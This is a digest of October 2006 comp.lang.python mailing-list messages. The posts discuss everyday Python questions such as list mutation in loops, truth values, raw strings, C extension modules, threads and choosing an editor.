Subject: Why can't you assign to a list in a loop without enumerate?
In-Reply-To: <1162320362.257426.121370@e3g2000cwe.googlegroups.com>
References: <1162320362.257426.121370@e3g2000cwe.googlegroups.com>
Message-ID: <4547A74C.8010301@tim.thechases.com>

> In the following code snippet, I attempt to assign 10 to every index in
> the list a and fail because when I try to assign number to 10, number
> is a deep copy of the ith index (is this statement correct?).

Sorta...just like with function parameters, there are mutables 
and immutables.

>>>> a = [1,2,3,4,5]
>>>> for number in a:
> ...     number = 10
> ...
>>>> a
> [1, 2, 3, 4, 5]

Just as with a function (currently discussed on another thread 
recently), you have the following behavior:

 >>> def a(x):
...	x = 42
...
 >>> deb b(x):
...	x.append(42)
...
 >>> g = 1
 >>> h = [1]
 >>> a(g)
 >>> b(h)
 >>> g
1
 >>> h
[1, 42]


you have similar behavior:

 >>> a = [[1],[2],[3],[4],[5]]
 >>> for thing in a:
...     thing.append(10)
...
 >>> a
[[1, 10], [2, 10], [3, 10], [4, 10], [5, 10]]

Lists/sets/etc are mutable.  Strings, numbers,

> So, I have to resort to using enumerate to assign to the list:
> 
>>>> for i, number in enumerate(a):
> ...     a[i] = 10
> ...
>>>> a
> [10, 10, 10, 10, 10]

This would commonly be written with a list comprehension:

a = [10 for _ in a]

or

a = [10] * len(a)

or, if that was a general case of something more specific with 
some "if" brains behind it, you can do things like

a = [odd(v) and 10 or v for v in a]

to only change them to 10 where the value is odd.

> My question is, what was the motivation for returning a deep copy of
> the value at the ith index inside a for loop instead of the value
> itself?  Also, is there any way to assign to a list in a for loop (with
> as little code as used above) without using enumerate?


As stated above, it returns the item...if it's mutable, you can 
mutate it.  If it's an immutable (like your numbers), you just 
change the variable in the local scope of the loop.


-tkc






From bj_666 at gmx.net  Fri Oct 20 16:37:39 2006
From: bj_666 at gmx.net (Marc 'BlackJack' Rintsch)
Date: Fri, 20 Oct 2006 22:37:39 +0200
Subject: why does this unpacking work
References: <Qe9_g.129$1n3.3113@news.tufts.edu>
	<1161373003.141096.277510@i42g2000cwa.googlegroups.com>
	<%ba_g.133$1n3.3373@news.tufts.edu>
Message-ID: <pan.2006.10.20.20.37.38.281361@gmx.net>

In <%ba_g.133$1n3.3373 at news.tufts.edu>, John Salerno wrote:

> johnzenger at gmail.com wrote:
>> It's just sequence unpacking.  Did you know that this works?:
>> 
>> pair = ("California","San Francisco")
>> state, city = pair
>> print city
>> # 'San Francisco'
>> print state
>> # 'California'
> 
> Yes, I understand that. What confused me was if it had been written like 
> this:
> 
> pair = (("California","San Francisco"))

Uhm, you mean::

 pair = (("California","San Francisco"),)

Note the extra comma to make that "a tuple in a tuple".

Ciao,
	Marc 'BlackJack' Rintsch


From bdesth.quelquechose at free.quelquepart.fr  Tue Oct 24 18:19:10 2006
From: bdesth.quelquechose at free.quelquepart.fr (Bruno Desthuilliers)
Date: Wed, 25 Oct 2006 00:19:10 +0200
Subject: forcing a definition to be called on attribute change
In-Reply-To: <Xns9866A6B3F4017rtwfreenetREMOVEcouk@216.196.109.145>
References: <mailman.1048.1161680224.11739.python-list@python.org>
	<453dec91$0$23269$426a34cc@news.free.fr>
	<Xns9866A6B3F4017rtwfreenetREMOVEcouk@216.196.109.145>
Message-ID: <453e8cf0$0$23778$426a34cc@news.free.fr>

Rob Williscroft a ?crit :
> Bruno Desthuilliers wrote in news:453dec91$0$23269$426a34cc at news.free.fr in 
> comp.lang.python:
> 
> 
>>>class cSphere() :
>>
>>OT : prefixing classes names with 'c' is totally unpythonic.
> 
> 
> My understanding of "pythonic" is that its about how you use the 
> language not what style you code in.

It's both idioms and style.


From nomail at nixmail.com  Sat Oct  7 08:59:26 2006
From: nomail at nixmail.com (DarkBlue)
Date: Sat, 07 Oct 2006 20:59:26 +0800
Subject: Kde Taskbar 
Message-ID: <4527a4ae@127.0.0.1>

Hello

In linux I use kmail as my email client under KDE,
if a message comes in the Kontact button in the
taskbar changes to blue.
How can I have the same behaviour in a python app ?

I have a python script which runs nicely under linux
now every so often I want to be notified by some event,
in this case that a record has been added to a database
and I want to have the application button in the taskbar
to change color

Thanks for any pointers , I am out of my depth here

Db




From http  Thu Oct 26 05:39:53 2006
From: http (Paul Rubin)
Date: 26 Oct 2006 02:39:53 -0700
Subject: Cards deck problem
References: <1161854836.904027.8380@m73g2000cwd.googlegroups.com>
Message-ID: <7xbqnz4dqu.fsf@ruckus.brouhaha.com>

"Arun Nair" <nairarunv at gmail.com> writes:
> Your urgent and quick reply help will be appreciated the most.

Do you have a specific question?  What are you having trouble with?


From richardjones at optushome.com.au  Thu Oct 12 23:23:20 2006
From: richardjones at optushome.com.au (Richard Jones)
Date: Fri, 13 Oct 2006 13:23:20 +1000
Subject: Starting out.
References: <1160696277.628987.277700@i42g2000cwa.googlegroups.com>
	<1160696990.5969.4.camel@dsktp>
	<mailman.411.1160706099.11739.python-list@python.org>
Message-ID: <452f06a8$0$5108$afc38c87@news.optusnet.com.au>

Tim Chase wrote:
> typed with just the top-row of keys
> '^[qwertyuiop]*$'

The longest being "typewriter" :)



hey, look, it's Friday


From steve at holdenweb.com  Wed Oct  4 08:16:10 2006
From: steve at holdenweb.com (Steve Holden)
Date: Wed, 04 Oct 2006 13:16:10 +0100
Subject: Roundup Issue Tracker release 1.1.3
In-Reply-To: <1159947253.283452.178580@b28g2000cwb.googlegroups.com>
References: <mailman.1219.1159933673.10491.python-list@python.org>
	<1159947253.283452.178580@b28g2000cwb.googlegroups.com>
Message-ID: <eg08km$9g5$2@sea.gmane.org>

metaperl.etc at gmail.com wrote:
> Richard Jones wrote:
> 
>>I'm proud to release version 1.1.3 of Roundup.
>>five database back-ends (anydbm, sqlite, metakit,
>>mysql and postgresql).
> 
> 
> That ORM is pretty impressive:
> http://roundup.sourceforge.net/doc-1.0/design.html#roundup-database
> 
> I like how easy it is to specify m-to-n relations.
> 
> Is it possible to have a table with a multi-column primary key?
> 
Of course you could redesign your database so the primary keys are all 
IDs, and the former keys become simple columns with a UNIQUE index 
covering them ...

regards
  Steve
-- 
Steve Holden       +44 150 684 7255  +1 800 494 3119
Holden Web LLC/Ltd          http://www.holdenweb.com
Skype: holdenweb       http://holdenweb.blogspot.com
Recent Ramblings     http://del.icio.us/steve.holden



From antroy at gmail.com  Wed Oct 11 04:55:27 2006
From: antroy at gmail.com (Ant)
Date: 11 Oct 2006 01:55:27 -0700
Subject: OT: Sarcasm and irony
In-Reply-To: <mailman.243.1160520376.11739.python-list@python.org>
References: <1160346615.575882.133580@h48g2000cwc.googlegroups.com>
	<4ov2eeFgh8t6U1@individual.net> <87y7rp9iyi.fsf_-_@benfinney.id.au>
	<463ff4860610092255h5d991d44yf4c5cae05da9d288@mail.gmail.com>
	<3bb44c6e0610100030w77cf39a8i404f152ea1a3f3d6@mail.gmail.com>
	<egfkeh$a45$1@sea.gmane.org>
	<mailman.189.1160470256.11739.python-list@python.org>
	<452b73ce$0$14045$edfadb0f@dread15.news.tele.dk>
	<mailman.202.1160476890.11739.python-list@python.org>
	<452b9017$0$14045$edfadb0f@dread15.news.tele.dk>
	<3bb44c6e0610100625p4dae88afg5231be1d4d50e683@mail.gmail.com>
	<mailman.243.1160520376.11739.python-list@python.org>
Message-ID: <1160556927.629207.294980@i3g2000cwc.googlegroups.com>


Brian van den Broek wrote:
...
> A quick check with the on-line text of the second edition of the
> Oxford English Dictionary (sadly, a link only available by
> subscription) gives as the first meaning:

If we're going to start using dictionary definitions, then I claim that
the following joke is truly ironic:

An old blacksmith relized he was soon going to quit working so hard. He
picked out a strong young man to become his apprentice. The old fellow
was crabby and exacting. "Don't ask me a lot of questions," he told the
boy. "Just do whatever I tell you to do." One day the old blacksmith
took an iron out of the forge and laid it on the anvil. "Get the hammer
over there," he said. "When I nod my head, hit it real good and hard."
Now the town is looking for a new blacksmith.

i?ron?ic? /a??r?n?k/ Pronunciation[ahy-ron-ik]
?adjective
1.	containing or exemplifying irony: an ironic novel; an ironic remark.

i?ron?y2? /?a??rni/ Pronunciation[ahy-er-nee]
?adjective
consisting of, containing, or resembling iron.

;-)

(In fact it is ironic in another more conventional sense:

i?ro?ny1? /?a?r?ni, ?a??r-/ Pronunciation[ahy-ruh-nee,
ahy-er-]
?noun, plural -nies.
...
5.	an outcome of events contrary to what was, or might have been,
expected. )



From fulvio at tm.net.my  Fri Oct 20 08:59:19 2006
From: fulvio at tm.net.my (Fulvio)
Date: Fri, 20 Oct 2006 20:59:19 +0800
Subject: help with my first use of a class
In-Reply-To: <F5_Zg.18137$6S3.4347@newssvr25.news.prodigy.net>
References: <1161324003.586807.145410@b28g2000cwb.googlegroups.com>
	<F5_Zg.18137$6S3.4347@newssvr25.news.prodigy.net>
Message-ID: <200610202059.19879.fulvio@tm.net.my>

***********************
Your mail has been scanned by InterScan MSS.
***********************


On Friday 20 October 2006 14:34, James Stroud wrote:
> You really don't need classes for this

I'm in that matter too. Doesn't classes make the main program neater?
Fundamentally OOP is the way to assemble ready objects to get a "thing" 
working, rather than worry about any single code line.
Is this a concept of python?

F




From jcoleman at franciscan.edu  Wed Oct 25 15:16:42 2006
From: jcoleman at franciscan.edu (John Coleman)
Date: 25 Oct 2006 12:16:42 -0700
Subject: question about True values
In-Reply-To: <7x4ptsi544.fsf@ruckus.brouhaha.com>
References: <grO%g.152$1n3.4134@news.tufts.edu>
	<7x4ptsi544.fsf@ruckus.brouhaha.com>
Message-ID: <1161803802.110116.127470@m7g2000cwm.googlegroups.com>


Paul Rubin wrote:
> John Salerno <johnjsal at NOSPAMgmail.com> writes:
> > I'm a little confused. Why doesn't s evaluate to True in the first
> > part, but it does in the second? Is the first statement something
> > different?
>
> No.  True and False are boolean values, where booleans are a different
> data type from strings, just like strings are different from integers.
>
>   >>> if s:
> 	print 'hi'
>
> converts s to a boolean during evaluation.  That is, it's the same as
>
>     if bool(s): print 'hi'
>
> bool(s) is a function that converts s to a bool.  If s is a string,
> bool(s) is true if s is nonempty, false otherwise.
>
> A comparable thing with integers: suppose
>
>    x = 3.1
>
> then "x == 3" is false, but "int(x) == 3" is true.

But then why is 3.0 == 3 true? They are different types.



From onurb at xiludom.gro  Fri Oct 20 07:18:43 2006
From: onurb at xiludom.gro (Bruno Desthuilliers)
Date: Fri, 20 Oct 2006 13:18:43 +0200
Subject: Webprogr: Link with automatic submit
In-Reply-To: <eha5i0$sk7$1@newsreader2.utanet.at>
References: <eha5i0$sk7$1@newsreader2.utanet.at>
Message-ID: <4538b094$0$8661$426a74cc@news.free.fr>

Gregor Horvath wrote:
> Hi,
> 
> As I am no expert web programmer I thought I'd better ask the experts if
> there is a simpler or better solution to my problem than the one I am
> thinking of. (using TurboGears)
> 
> The problem
> -----------
> 
> I have a form. Ok. you can submit, validate it etc.
> Now I have a link on that form to another page.
> What I want is that the form gets automatically submitted and validated
> before the browser follows the link. If the validation has errors the
> link should not be followed.
> 
> My solution
> -----------
(snip)
> Are there any other options?

<OT>
yes : replace the link with another submit button, then in your
controller check which submit has been successful and take appropriate
action.

Links are for GET request (which are supposed to be idempotent), and are
definitively *not* supposed to issue (even if indirectly) a POST request.
</OT>

-- 
bruno desthuilliers
python -c "print '@'.join(['.'.join([w[::-1] for w in p.split('.')]) for
p in 'onurb at xiludom.gro'.split('@')])"


From deets at nospam.web.de  Fri Oct 13 06:14:54 2006
From: deets at nospam.web.de (Diez B. Roggisch)
Date: Fri, 13 Oct 2006 12:14:54 +0200
Subject: Thread termination
In-Reply-To: <1160732308.053202.225450@b28g2000cwb.googlegroups.com>
References: <1160732308.053202.225450@b28g2000cwb.googlegroups.com>
Message-ID: <4p978uFfq5tpU1@uni-berlin.de>

Teja schrieb:
> Hi all,
> 
> Does any one know how to terminate or kill a thread that is started
> with "start_new_thread()" in the middle of its execution?
> 
> Any pointers?

This has been discussed a bazillion times in this NG. The short answer 
is: no.

For  the long answer: do some googling :)

Diez


From fredrik at pythonware.com  Sat Oct 28 06:15:13 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Sat, 28 Oct 2006 12:15:13 +0200
Subject: Sending mouse events on Windows
In-Reply-To: <1162029636.137310.103130@f16g2000cwb.googlegroups.com>
References: <1162029636.137310.103130@f16g2000cwb.googlegroups.com>
Message-ID: <ehvajh$se6$1@sea.gmane.org>

Radu Ciurlea wrote:
> I want to write a program that can generate mouse events. I'd like to
> actually be able to control the pointer and generate clicks. Any
> pointers on modules I could use for doing this? Any suggestions are
> welcome.

something like

     http://www.tizmoi.net/watsup/intro.html

might be useful.

</F>



From aisaac0 at verizon.net  Tue Oct 24 22:42:32 2006
From: aisaac0 at verizon.net (David Isaac)
Date: Wed, 25 Oct 2006 02:42:32 GMT
Subject: numbers to string
Message-ID: <saA%g.18516$A27.17960@trnddc08>

>>> y
[116, 114, 121, 32, 116, 104, 105, 115]
>>> z=''.join(chr(yi) for yi in y)
>>> z
'try this'

What is an efficient way to do this if y is much longer?
(A numpy solution is fine.)

Thanks,
Alan Isaac




From bumtool at gmail.com  Tue Oct 17 13:43:19 2006
From: bumtool at gmail.com (kilnhead)
Date: 17 Oct 2006 10:43:19 -0700
Subject: external file closed
Message-ID: <1161106999.899555.57990@h48g2000cwc.googlegroups.com>

I am opening a file using os.start('myfile.pdf') from python. How can I
know when the user has closed the file so I can delete it? Thanks.



From bernard.chhun at gmail.com  Tue Oct 10 07:36:17 2006
From: bernard.chhun at gmail.com (Bernard)
Date: 10 Oct 2006 04:36:17 -0700
Subject: How to share session with IE
In-Reply-To: <1160479479.825746.320610@k70g2000cwa.googlegroups.com>
References: <1160479479.825746.320610@k70g2000cwa.googlegroups.com>
Message-ID: <1160480177.704013.37770@k70g2000cwa.googlegroups.com>

Hello Dapu,

You can do the same thing as IE on your forum using urllib2 and
cookielib. In short you need to code a small webcrawler. I can give you
my browser module if necessary.
You might not have the time to fiddle with the coding part or my
browser module so you can also use this particularly useful module :
http://wwwsearch.sourceforge.net/mechanize/
The documentation is pretty clear for an initiated python programmer.
If it's not your case, I'd recommend to read some ebooks on the python
language first to get use to it.

Bernard




zdp wrote:
> Hello!
>
> I need to process some webpages of a forum which is powered by discuz!.
> When I login, there are some options about how long to keep the
> cookies: forever, month, week, et al. If I choose forever,  I don't
> need to login each time, and When I open the internet explorer I can
> access any pages directly. Some urls of the pages like:
>
>     http://www.somesite.com/bbs/viewthread.php?tid=12345&extra=page%3D1
>
> However, now I need to process some pages by a python program. When I
> use urllib.urlopen(theurl), I can only get a page which told me I need
> login. I think It's reasonable, becuase I wasn't in a loggined session
> which as IE did.
>
> So how can I do my job? I want to get the right webpage by the url. I
> have search answers from the groups but didn't get clear answer. Should
> I use win32com or urllib? Any reply or information is appreciate. Hope
> I put it clear.
> 
> Dapu



From Hakusa at gmail.com  Mon Oct 30 01:29:17 2006
From: Hakusa at gmail.com (Hakusa at gmail.com)
Date: 29 Oct 2006 22:29:17 -0800
Subject: Very simple request about argument setting.
In-Reply-To: <1162189275.430660.22870@b28g2000cwb.googlegroups.com>
References: <1162173597.849028.25940@m7g2000cwm.googlegroups.com>
	<1162177851.172060.228610@m7g2000cwm.googlegroups.com>
	<1162181887.815509.95420@m7g2000cwm.googlegroups.com>
	<1162189275.430660.22870@b28g2000cwb.googlegroups.com>
Message-ID: <1162189757.156574.142310@k70g2000cwa.googlegroups.com>

Thank you very much for your information.



From mike.klaas at gmail.com  Tue Oct 10 18:49:51 2006
From: mike.klaas at gmail.com (Klaas)
Date: 10 Oct 2006 15:49:51 -0700
Subject: problem with hot shot stats
In-Reply-To: <1160503199.286071.57800@h48g2000cwc.googlegroups.com>
References: <1160503199.286071.57800@h48g2000cwc.googlegroups.com>
Message-ID: <1160520591.174414.225030@k70g2000cwa.googlegroups.com>

Monu wrote:
> HI All,
> I am getting problem in using hotshot profiler.
> When I hotshot with lineevents=0, it works fine,
> but when I use lineevents=1, I get error in stats

<>
> Can anybody help to figure out the problem please?

hotshot has never reached production-ready stability, imo.  Use the new
cProfile module in python2.5

-Mike



From python.list at tim.thechases.com  Thu Oct 19 13:30:04 2006
From: python.list at tim.thechases.com (Tim Chase)
Date: Thu, 19 Oct 2006 12:30:04 -0500
Subject: invert or reverse a string... warning this is a rant
In-Reply-To: <136ED738BD4F1545B97E4AC06FF6370734BEEA@DMSP-MSG-EVS01.mail.pvt>
References: <136ED738BD4F1545B97E4AC06FF6370734BEEA@DMSP-MSG-EVS01.mail.pvt>
Message-ID: <4537B61C.404@tim.thechases.com>

> P.S.  How about a string.shuffle() method that splits the string in half
> into two new strings str1 and str2, and then recompiles the string by
> alternating one character from each str1 and str2 as it goes?  Like
> shuffling cards.  ;)

Well, for a true shuffling of a string, there's a 
random.shuffle() but it chokes on strings.  You have to do a 
little song-and-dance to get a shuffled string:

 >>> import random
 >>> s = "hello world?"
 >>> a = list(s)
 >>> random.shuffle(a)
 >>> s2 = ''.join(a)
 >>> s2
'wlhlldor oe?'

Not quite the same algorithm you used.  That would be something like

 >>> "".join(sum(map(list,zip(s,s[len(s)/2:])),[]))

(my first attempt:

 >>> "".join(sum(map(list,zip(s[0:len(s)/2],s[len(s)/2:])),[]))

had problems when the list didn't contain an even number of chars)

-tkc






From rdiaz02 at gmail.com  Sun Oct 29 04:27:21 2006
From: rdiaz02 at gmail.com (Ramon Diaz-Uriarte)
Date: Sun, 29 Oct 2006 10:27:21 +0100
Subject: What's the best IDE?
In-Reply-To: <463ff4860610282200m320f70afj636214581e739661@mail.gmail.com>
References: <1161818092.830293.141880@k70g2000cwa.googlegroups.com>
	<1161976496.903281.302940@i42g2000cwa.googlegroups.com>
	<624934630610271409h7a2dc2a0o8c12f7d1b11a21ad@mail.gmail.com>
	<463ff4860610282200m320f70afj636214581e739661@mail.gmail.com>
Message-ID: <624934630610290127h6407f4f4uc02d2c7d90136b99@mail.gmail.com>

On 10/29/06, Theerasak Photha <hanumizzle at gmail.com> wrote:
>
> I've used Emacs for a long time, but I think I might be going back to
> Vim 7.0 now that they improved the scripting functionality with *real*
> arrays and dicts. In some respects, this is now better than in Emacs,
> where the hash functionality is...well...cumbersome at best.
>
> Main reason would be that Vim is so much easier to customize and find
> things in than Emacs. I long time ago, I actually submitted a bug

Yes, I've read that, and I see that point. And that you can do
customization using Python. I've actually been tempted by Vim since I
read this

http://pinard.progiciels-bpi.ca/opinions/editors.html

(and Pinard is someone I do respect, and this is a very well argued document).

> (...)
> vimshell is a (nearly) full-blown terminal emulator facility for Vim
> http://www.wana.at/vimshell/

Thanks for this link! It looks really interesting. I'll try to give it
a try ASAP.
One question, though: can you "send" a block of code to a Python shell
running in vimshell? (somehow like you can do in Emacs)?


R.

-- 
Ramon Diaz-Uriarte
Statistical Computing Team
Structural Biology and Biocomputing Programme
Spanish National Cancer Centre (CNIO)
http://ligarto.org/rdiaz






-- 
Ramon Diaz-Uriarte
Statistical Computing Team
Structural Biology and Biocomputing Programme
Spanish National Cancer Centre (CNIO)
http://ligarto.org/rdiaz


From scott.daniels at acm.org  Tue Oct  3 13:11:07 2006
From: scott.daniels at acm.org (Scott David Daniels)
Date: Tue, 03 Oct 2006 10:11:07 -0700
Subject: Raw strings and escaping
In-Reply-To: <mailman.1152.1159872720.10491.python-list@python.org>
References: <mailman.1152.1159872720.10491.python-list@python.org>
Message-ID: <452291c9$1@nntp0.pdx.net>

Matthew Warren wrote:
> Hi,
> 
> I would expect this to work,
> 
> rawstring=r'some things\new things\some other things\'
> 
> But it fails as the last backslash escapes the single quote.

Note something many people don't when looking over the string rules:

  astring = r'some things\new things\some other things' '\\'

gives you exactly what you want, doesn't imply a string concatenation
at run time, and various other things.  Two strings in succession are
concatenated at source translation time.

By the way, I renamed the result from being rawstring.  It gives people
bad intuitions to refer to some strings as "raw" when what you really
mean is that the notation you are using is a "raw" notation for a
perfectly normal string.

--Scott David Daniels
scott.daniels at acm.org


From robert.kern at gmail.com  Tue Oct  3 00:35:05 2006
From: robert.kern at gmail.com (Robert Kern)
Date: Mon, 02 Oct 2006 23:35:05 -0500
Subject: [Q]An error with my module in C
In-Reply-To: <1159849454.995535.67160@i42g2000cwa.googlegroups.com>
References: <1159849454.995535.67160@i42g2000cwa.googlegroups.com>
Message-ID: <efsp9h$o3k$1@sea.gmane.org>

Jia,Lu wrote:
> hello,all.
> 
>   I wrote a module in C as below, BUT msg() method cannot work
> allright.
> 
> #include <stdio.h>
> #include <python2.4/Python.h>

This isn't related to your error, but you should include Python.h before other 
headers, and it should be just this:

#include "Python.h"

distutils will make sure the include path is correct.

> static PyObject *Roka_msg(PyObject *self,PyObject *args)
> {
> 	printf("Roka Python lib. Version 1.0\n");
> }

You actually need to return a PyObject* here. Specifically, you want to return 
None after incrementing its reference count:

   Py_INCREF(Py_None);
   return Py_None;

-- 
Robert Kern

"I have come to believe that the whole world is an enigma, a harmless enigma
  that is made terrible by our own mad attempt to interpret it as though it had
  an underlying truth."
   -- Umberto Eco



From steve at holdenweb.com  Thu Oct 26 20:18:56 2006
From: steve at holdenweb.com (Steve Holden)
Date: Fri, 27 Oct 2006 01:18:56 +0100
Subject: question about True values
In-Reply-To: <87u01qfzy7.fsf@benfinney.id.au>
References: <grO%g.152$1n3.4134@news.tufts.edu>	<17727.47016.632530.720950@montanaro.dyndns.org>	<ehoqhe$6iq$3@sea.gmane.org>
	<ehp32i$u1$1@sea.gmane.org>	<7.0.1.0.0.20061025224858.05f2ea40@yahoo.com.ar>	<mailman.1232.1161829348.11739.python-list@python.org>	<7xfydbhkso.fsf@ruckus.brouhaha.com>	<7.0.1.0.0.20061026144722.04641dd8@yahoo.com.ar>
	<87u01qfzy7.fsf@benfinney.id.au>
Message-ID: <ehrj7d$4l3$1@sea.gmane.org>

Ben Finney wrote:
> Gabriel Genellina <gagsl-py at yahoo.com.ar> writes:
> 
> 
>>At Wednesday 25/10/2006 23:29, Paul Rubin wrote:
>>
>>>Steve Holden <steve at holdenweb.com> writes:
>>>I get that iter(()) is True (Python 2.3.4).
>>
No I didn't - that was Paul Rubin.

>>It's False on 2.4.2 - and perhaps it's what one would expect, but
>>since this behavior is not documented anywhere, one should not count
>>on it.
> 
> 
> Doesn't this fall under "any empty sequence" in the following list of
> evaluates-to-false:
> 
>     <URL:http://docs.python.org/lib/truth.html>
> 

regards
  Steve
-- 
Steve Holden       +44 150 684 7255  +1 800 494 3119
Holden Web LLC/Ltd          http://www.holdenweb.com
Skype: holdenweb       http://holdenweb.blogspot.com
Recent Ramblings     http://del.icio.us/steve.holden



From istvan.albert at gmail.com  Tue Oct 24 14:01:34 2006
From: istvan.albert at gmail.com (Istvan Albert)
Date: 24 Oct 2006 11:01:34 -0700
Subject: Python 2.5 ; Effbot console ; thank ; pb release.
References: <453ce1a9$0$25910$ba4acef3@news.orange.fr>
	<ehioo2$fef$1@sea.gmane.org>
	<021801c6f734$cb375900$03000080@hendrik>
	<mailman.1045.1161676688.11739.python-list@python.org>
	<453E4F0D.9050809@v.loewis.de>
Message-ID: <1161712893.993696.172120@m7g2000cwm.googlegroups.com>


Martin v. L?wis wrote:

> People certainly build it themselves, but then never share. I don't
> know why that is - probably, it takes a different mindset to be on
> the giving end than on the receiving end of free software.

I've seen people share binary builds, for example you can get the
windows psycopg from a third party

I think most people may not be aware that there is a need for such a
build, or have logistical issues (where to post it), and maybe assume
that sooner rather than later the original author will have one such
build anyhow and that makes their own effort (however minute)
pointless.

i.



From onurb at xiludom.gro  Wed Oct 11 12:00:52 2006
From: onurb at xiludom.gro (Bruno Desthuilliers)
Date: Wed, 11 Oct 2006 18:00:52 +0200
Subject: How to write Smart Python programs?
In-Reply-To: <jc7Xg.99$1n3.2455@news.tufts.edu>
References: <1160535792.373959.42930@i42g2000cwa.googlegroups.com>
	<452cae13$0$24783$426a74cc@news.free.fr>
	<jc7Xg.99$1n3.2455@news.tufts.edu>
Message-ID: <452d1535$0$28355$426a74cc@news.free.fr>

John Salerno wrote:
> Bruno Desthuilliers wrote:
> 
>> Googling for "python is not java" may be a good start.
> 
> I have a question about this section of a blog with that title. I'll ask
> the question first so it doesn't get lost at the bottom: does the
> following opinion of XML apply to GUIs? (i.e., using an XML resource to
> define a GUI layout rather than coding it yourself).
> 
There's a difference between not using XML and direct hand-coding -
Python is fairly usable as a configuration language (much more than XML
IMHO).

Now when it comes to GUI toolkits, they are usually coded in another
language, and usually come with language-agnostic GUI designers that use
XML. So the point is already solved somehow !-)

-- 
bruno desthuilliers
python -c "print '@'.join(['.'.join([w[::-1] for w in p.split('.')]) for
p in 'onurb at xiludom.gro'.split('@')])"


From casevh at comcast.net  Sun Oct 22 01:00:05 2006
From: casevh at comcast.net (casevh at comcast.net)
Date: 21 Oct 2006 22:00:05 -0700
Subject: Fwd: Re: How to upgrade python from 2.4.3 to 2.4.4 ?
In-Reply-To: <mailman.916.1161492657.11739.python-list@python.org>
References: <mailman.915.1161491089.11739.python-list@python.org>
	<1161491991.010112.65630@k70g2000cwa.googlegroups.com>
	<mailman.916.1161492657.11739.python-list@python.org>
Message-ID: <1161493205.021404.88820@b28g2000cwb.googlegroups.com>


Anthony Baxter wrote:
> On 21 Oct 2006 21:39:51 -0700, casevh at comcast.net <casevh at comcast.net> wrote:
> > mingw32 is supported and can compile many extensions. See the following
> > post:
> >
> > http://groups.google.com/group/comp.lang.python/msg/8e2260fe4d4b7de9
> >
> > If you meant something else with your comment, please explain.
>
> That's for Python 2.4. I'm not sure it works the same way with Python
> 2.5. If someone has information to the contrary, it would be excellent
> to get confirmation and the steps that are necessary...

I've used mingw32 to build gmpy for Python 2.5 without any problems. It
looks like mingw32 works just fine with Python 2.5 (assuming the
extension will compile with mingw32).

casevh



From python.list at tim.thechases.com  Thu Oct 12 15:35:07 2006
From: python.list at tim.thechases.com (Tim Chase)
Date: Thu, 12 Oct 2006 14:35:07 -0500
Subject: prefix search on a large file
In-Reply-To: <452e8cf5$1@nntp0.pdx.net>
References: <mailman.365.1160642731.11739.python-list@python.org>	<1160647737.312386.37800@c28g2000cwb.googlegroups.com>	<a23effaf0610120713x58d055dem1b7deefec3b50515@mail.gmail.com>	<mailman.386.1160667922.11739.python-list@python.org>
	<452e8cf5$1@nntp0.pdx.net>
Message-ID: <452E98EB.1020303@tim.thechases.com>

>      def leaders(sorted_list):
>          held = None
>          for phrase in held:

Ummm...that

	for phrase in None:

doesn't do a whole lot other than give a traceback. :*)

I suspect you mean

	for phrase in sorted_list:

no?

-tkc




From onurb at xiludom.gro  Thu Oct 26 07:59:48 2006
From: onurb at xiludom.gro (Bruno Desthuilliers)
Date: Thu, 26 Oct 2006 13:59:48 +0200
Subject: Error to be resolved
In-Reply-To: <1161861560.979401.29710@m73g2000cwd.googlegroups.com>
References: <1161861560.979401.29710@m73g2000cwd.googlegroups.com>
Message-ID: <4540a335$0$985$426a74cc@news.free.fr>

Arun Nair wrote:
> Hey guys can you help me resolve this error
> 
> Thanks & Regards,
> 
> Arun Nair
> This is the program
> ========================================================================
> from random import *
> from string import *

Avoid the from XXX import * idiom whenever possible. Better to
explicitely tell what you intend to use, and where it comes from.

> class Card:

Make this

class Card(object):

>     def __init__(self, suit, rank):
>         self.suit = suit
>         self.rank = rank
=> here you assign rank to self.rank	
>         self.rank = ["None","Clubs","Diamonds","Hearts","Spades"]
=> and here you overwrite self.rank
>         self.suit = ["zero", "Ace", "2", "3", "4", "5", "6", "7", "8",
> "9", "10", "Jack", "Queen", "King"]
=> and here you overwrite self.suit

You have to use different names for the effective values of rank and
suit for a given instance of Card than for the lists of possible values
(hint : usually, one uses plural forms for collections - so the list of
possible ranks should be named 'ranks').

Also, since these lists of possible values are common to all cards,
you'd better define them as class attributes (ie: define them in the
class statement block but outside the __init__() method), so they'll be
shared by all Card instances.

<OT>
 While we're at it, I think that you inverted suits and ranks... Please
someone correct me if I'm wrong.
</OT>

>         self.BJ = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 10, 10, 10]

Idem, this is a list of possible blackjack values, not the effective BJ
value for a given instance.

>     def getRank(self):
>         return self.rank
> 
>     def getSuit(self):
>         return self.suit
> 
>     def BJValue(self):
>         return self.BJ
This will return the whole list of BJ values, not the effective value
for the current Card instance

>     def __str__(self):
>         return " %s of %s(%s)" % (self.rank[self.rank],
> self.suit[self.suit], self.BJ[self.rank])

> def main():
>     n = input("How many cards do you want to draw from the deck?")

better to use raw_input() and validate/convert the user's inputs by
yourself.

(snip)
> =========================================================================
> This is the error
>>>> Traceback (most recent call last):
>   File
> "C:\Python24\Lib\site-packages\pythonwin\pywin\framework\scriptutils.py",
> line 310, in RunScript
>     exec codeObject in __main__.__dict__
>   File "D:\A2_3.1.py", line 32, in ?
>     main()
>   File "D:\A2_3.1.py", line 30, in main
>     print c
>   File "D:\A2_3.1.py", line 22, in __str__
>     return " %s of %s(%s)" % (self.rank[self.rank],
> self.suit[self.suit], self.BJ[self.rank])
> TypeError: list indices must be integers

of course. You're trying to use self.rank (which is now a list) as an
index to itself (dito for self.suit).

HTH
-- 
bruno desthuilliers
python -c "print '@'.join(['.'.join([w[::-1] for w in p.split('.')]) for
p in 'onurb at xiludom.gro'.split('@')])"


From tpochep at mail.ru  Thu Oct 12 05:41:38 2006
From: tpochep at mail.ru (tpochep at mail.ru)
Date: 12 Oct 2006 02:41:38 -0700
Subject: python's newbie question
In-Reply-To: <mailman.367.1160645935.11739.python-list@python.org>
References: <1160644525.605518.55840@e3g2000cwe.googlegroups.com>
	<mailman.367.1160645935.11739.python-list@python.org>
Message-ID: <1160646097.954654.248330@b28g2000cwb.googlegroups.com>


Fredrik Lundh ?????(?):

Thank you.

From jaywgraves at gmail.com  Mon Oct  2 11:56:17 2006
From: jaywgraves at gmail.com (jay graves)
Date: 2 Oct 2006 08:56:17 -0700
Subject: Sort by domain name?
In-Reply-To: <1159803931.803028.197770@k70g2000cwa.googlegroups.com>
